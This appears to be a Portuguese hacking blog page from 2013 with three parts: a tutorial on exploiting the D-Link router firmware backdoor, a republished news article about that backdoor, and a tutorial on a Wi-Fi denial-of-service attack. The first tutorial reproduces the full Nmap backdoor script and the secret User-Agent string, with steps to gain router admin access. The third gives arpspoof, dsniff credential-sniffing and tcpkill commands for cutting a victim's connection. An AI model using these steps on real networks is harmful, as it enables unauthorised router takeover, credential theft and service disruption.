realddjdd
segunda-feira, 21 de outubro de 2013
Explorando Nova falha D-link
Primeiro tópico de muitos sobre redes wireless, como
sempre wifi vulnerável. Recentemente eu postei como uma notícia que um
pesquisador achou uma falha em roteadores D-link como todos sabem os
roteadores D-link São muitos utilizados mundo a fora. O que acontece é
programadores como sempre para facilitar a vida deles mesmo,
desenvolveram um backdoor para manutenção dos roteadores isso se resume
em facilitar na atualização.A falha foi encontrada pelo pesquisador de segurança Craig Heffner, da Tactical Network Solutions. O especialista em sistemas de comunicação sem fio escreveu em seu blog que a interface web de alguns roteadores da D-Link poderia ser acessada por meio da sequência “xmlset_roodkcableoj28840ybtide” em um navegador comum.
Vamos lá.
primeiramente precisamos abrir o terminal e fazer um simples scanner no roteador.
para saber o getway digite o comando abaixo
root:~$ route
Kernel IP routing table
Destination Gateway Genmask Flags Metric Ref Use Iface
default 192.168.1.1 0.0.0.0 UG 0 0 0 wlan0
link-local * 255.255.0.0 U 1000 0 0 wlan0
192.168.1.0 * 255.255.255.0 U 2 0 0 wlan0
192.168.18.0 * 255.255.255.0 U 0 0 0 vmnet1
192.168.157.0 * 255.255.255.0 U 0 0 0 vmnet8
pronto já sabemos qual o endereço do roteador, agora vamos configurar o Nmap para instalar o plugin com a falha do D-link
01
02
03
04
05
06
07
08
09
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
| description = [[Detects a firmware backdoor on some D-Link routers by changing the User-Agentto a "secret" value. Using the "secret" User-Agent bypasses authenticationand allows admin access to the router.The following router models are likely to be vulnerable: DIR-100, DIR-120,DI-624S, DI-524UP, DI-604S, DI-604UP, DI-604+, TM-G5240In addition, several Planex routers also appear to use the same firmware:BRL-04UR, BRL-04CWReference: http://www.devttys0.com/2013/10/reverse-engineering-a-d-link-backdoor/]]----- @usage-- nmap -sV --script http-dlink-backdoor <target>---- @output-- PORT STATE SERVICE REASON-- 80/tcp open http syn-ack-- | http-dlink-backdoor:-- | VULNERABLE:-- | Firmware backdoor in some models of D-Link routers allow for admin password bypass-- | State: VULNERABLE-- | Risk factor: High-- | Description:-- | D-Link routers have been found with a firmware backdoor allowing for admin password bypass using a "secret" User-Agent string.-- |-- | References:-- |_ http://www.devttys0.com/2013/10/reverse-engineering-a-d-link-backdoor/---author = "Patrik Karlsson <patrik@cqure.net>"categories = {"exploit","vuln"}local http = require "http"local shortport = require "shortport"local stdnse = require "stdnse"local string = require "string"local vulns = require "vulns"portrule = shortport.httpaction = function(host, port) local response = http.get(host, port, "/", { redirect_ok = false, no_cache = true }) local server = response.header and response.header['server'] local vuln_table = { title = "Firmware backdoor in some models of D-Link routers allow for admin password bypass", state = vulns.STATE.NOT_VULN, risk_factor = "High", description = [[D-Link routers have been found with a firmware backdoor allowing for admin password bypass using a "secret" User-Agent string.]], references = { } } if ( response.status == 401 and server:match("^thttpd%-alphanetworks") ) or ( response.status == 302 and server:match("^Alpha_webserv") ) then response = http.get(host, port, "/", { header = { ["User-Agent"] = "xmlset_roodkcableoj28840ybtide" } }) if ( response.status == 200 ) then vuln_table.state = vulns.STATE.VULN local report = vulns.Report:new(SCRIPT_NAME, host, port) return report:make_output(vuln_table) end end returnend |
olhe nos prints abaixo como ficará
Cole o código acima:
depois pressione Ctrl + x e depois enter para salvador o arquivo
próximo passo é adicionar dentro da pasta do Nmap esse arquivo que criamos.
root:~$ cd http-dlink-backdoor.nse /usr/local/share/nmap/scripts/
agora podemos utiliza-lo para conseguir o login da parte de administração do roteador.
nmap -sV –script http-dlink-backdoor 192.168.1.1
D-Link roteadores foram encontrados com um backdoor firmware permitindo desvio senha de administrador usando uma seqüência de “senhas” User-Agent.
Uma pena que meu roteador não ser D-link, e você que tem um TP-LInk e pensa que está seguro ? eu tenho um TP-link e ja conseguir o password com outros exploit, para roteadores lembrando que esse processo so poderá ser efetuado se você estiver inserido na rede que vai atacar,ou seja, so em rede local.
acesse o blog do criador e entre em mais detalhes.
http://www.devttys0.com/2013/10/reverse-engineering-a-d-link-backdoor/
Credito: CHMOD SECURITY E MHARCOS NESTER.....
Backdoor em Roteadores D-link
Uma backdoor foi encontrada no firmware usado em diversos modelos de roteadores da marca D-Link. Esta falha poderia permitir a um hacker acessar as configurações do dispositivo, resultando em um grave problema de segurança.
A falha foi encontrada pelo pesquisador de segurança Craig Heffner, da Tactical Network Solutions. O especialista em sistemas de comunicação sem fio escreveu em seu blog que a interface web de alguns roteadores da D-Link poderia ser acessada por meio da sequência “xmlset_roodkcableoj28840ybtide” em um navegador comum.
Curiosamente, se a segunda metade desta sequência for invertida e os números forem removidos, lê-se a frase “edit by joel backdoor” (“editado por joel backdoor”), o que sugere que o código foi colocado intencionalmente.
“Meu palpite é que os desenvolvedores perceberam que alguns programas e serviços necessitavam ter suas configurações alteradas automaticamente”, disse Heffner. “Percebendo que o servidor web já possuía todo o código para alterar essas configurações, eles decidiram apenas enviar solicitações para o servidor sempre que precisassem mudar alguma coisa”.
Em teoria, isso poderia tornar o processo mais simples para programadores da D-Link, principalmente quando fosse necessário realizar atualizações de firmware remotamente nos roteadores. Por outro lado, deixa um grande rombo na segurança desses aparelhos.
O caso traz à lembrança os documentos da NSA vazados por Edward Snowden, que sugerem que a agência norte-americana possuía uma maneira de passar pela segurança de dispositivos graças a backdoors plantadas intencionalmente. É claro, existe sempre a possibilidade de ser apenas um erro ou uma má decisão de um programador.
Para encontrar outros modelos vulneráveis, Heffner usou o mecanismo de busca Shodan, serviço que permite encontrar computadores e dispositivos conectados à rede. De acordo com ele, o mesmo firmware é encontrado nos seguintes modelos de roteadores da D-Link: DIR- 100, DI- 524, DI- 524UP , DI- 604S , DI- 604UP , DI -604 + , TM- G5240 e, possivelmente, o DIR- 615.
- Leia também: Shodan, o buscador mais perigoso da internet
D-Link responde
A D-Link informou que está trabalhando junto a Heffner e outros pesquisadores de segurança para descobrir mais detalhes sobre a backdoor. Ela também está conduzindo uma revisão em seus produtos para ver se a brecha está presente em outros modelos.A empresa afirma que logo liberará uma atualização de firmware para fechar a porta. Enquanto isso, os usuários devem desabilitar o acesso remoto a seus roteadores, se possível.
Matéria completa: http://canaltech.com.br/noticia/seguranca/Backdoor-encontrada-em-roteadores-da-D-Link-atinge-milhoes-de-usuarios/#ixzz2iBfnGtoO
O conteúdo do Canaltech é protegido sob a licença Creative Commons (CC BY-NC-ND). Você pode reproduzi-lo, desde que insira créditos COM O LINK para o conteúdo original e não faça uso comercial de nossa produção.
Fontes: http://canaltech.com.br
Credito: Mharcos Nester...........
Negação de Serviços em Wifi | Chmod security
Então Negação de Serviços é um ataque que nunca gostei, mesmo assim é um ataque interessante pois afeta a disponibilidade que é um dos três pilares da segurança da informação. Agora vamos para definição “Um ataque de negação de serviço (também conhecido como DoS Attack, um acrônimo em inglês para Denial of Service), é uma tentativa em tornar os recursos de um sistema indisponíveis para seus utilizadores. ” wiki , pois bem esse tipo de ataque geralmente é feito em servidores web para que o serviço caiam precisa de uma quantidade considera de pacotes ou requisições para o servidor web fazendo com que ele não suporte e caia, é parecido com o ENEM quando ta faltando 2 dias para terminar as inscrições
, muita gente acessando o mesmo site ao mesmo tempo nessa caso os
brasileiros né que tem o costume de deixar tudo para cima da hora, olha
só o estrago que pode acontecer, é como fosse uma “quebra de braço”,
onde quem tiver a Banda Melhor ganha.
Na imagem a cima podemos observar que um usuário normal manda apenas uma requisição enquanto o atacante manda cetenas de requisições para o servidor web, ele simula o ultimo dia para se inscrever no ENEM kkk.
E como seria um ataque desse em um ambiente local ou interno? estamos falando de uma rede wireless. vamos para nosso laboratório.
vamos utilizar a ferramenta tcpkill, o nome dela já diz né matar as conexões tcp , mas primeiro temos que habilitar o ip_forward como fizemos lá no tutorial de “capturar credenciais” quem não viu ainda voltar e ver para que serve esse comando.
#echo “1″ /proc/sys/net/ipv4/ip_forward
pronto agora podemos continuar.
vamos para o reconhecimento do lab.
então temos:
Maquina alvo: 192.168.0.100
Ip do getway(roteador): 192.168.0.1
agora vamos abrir dois terminais
root#arpspoof -i eth0 -t 192.168.0.1 192.168.0.100
root#arpspoof -i eth0 -t 192.168.0.100 192.168.0.1
arpspoof -> Serve para redirecionar pacotes a partir de um host-alvo (ou todos os hosts).
esta é uma forma extremamente eficaz de sniffing tráfego em um interruptor.
próximo passo vamos usar o dsniff
root:#dsniff -i eth0
detecta automaticamente e minimamente analisa cada
protocolo de aplicação, e só salva os interessante bits, apenas registrando
autenticação única tentativas. completa o TCP/IP remontagem é
fornecidos pela libnids.
e o final onde vamos deixar o serviço com a porta 80 inacessível.
# tcpkill -i eth0 dst 192.168.0.1 and dst port 80
, pronto afetamos uns dos pilares de segurança que é a disponibilidade depois fazer esse tipo de ataque usando também um smartphone com sistema Android que é ainda mais legal pois é portátil e fácil manuseio
com a ferramenta DSploit entre outras, porém é preciso rootiar seu aparelho primeiramente se quiser a ferramenta para seu Android é só deixar nos cometários que coloco pra download.:@
talvez colocarei uma categoria para android se a procura pelas ferramentas for maior até uma pagina com as melhores ferramentas para pentest com android.
Creditos : Mharcos Nester.........Retirando Diretamente do site CHMOD SECURITY..:)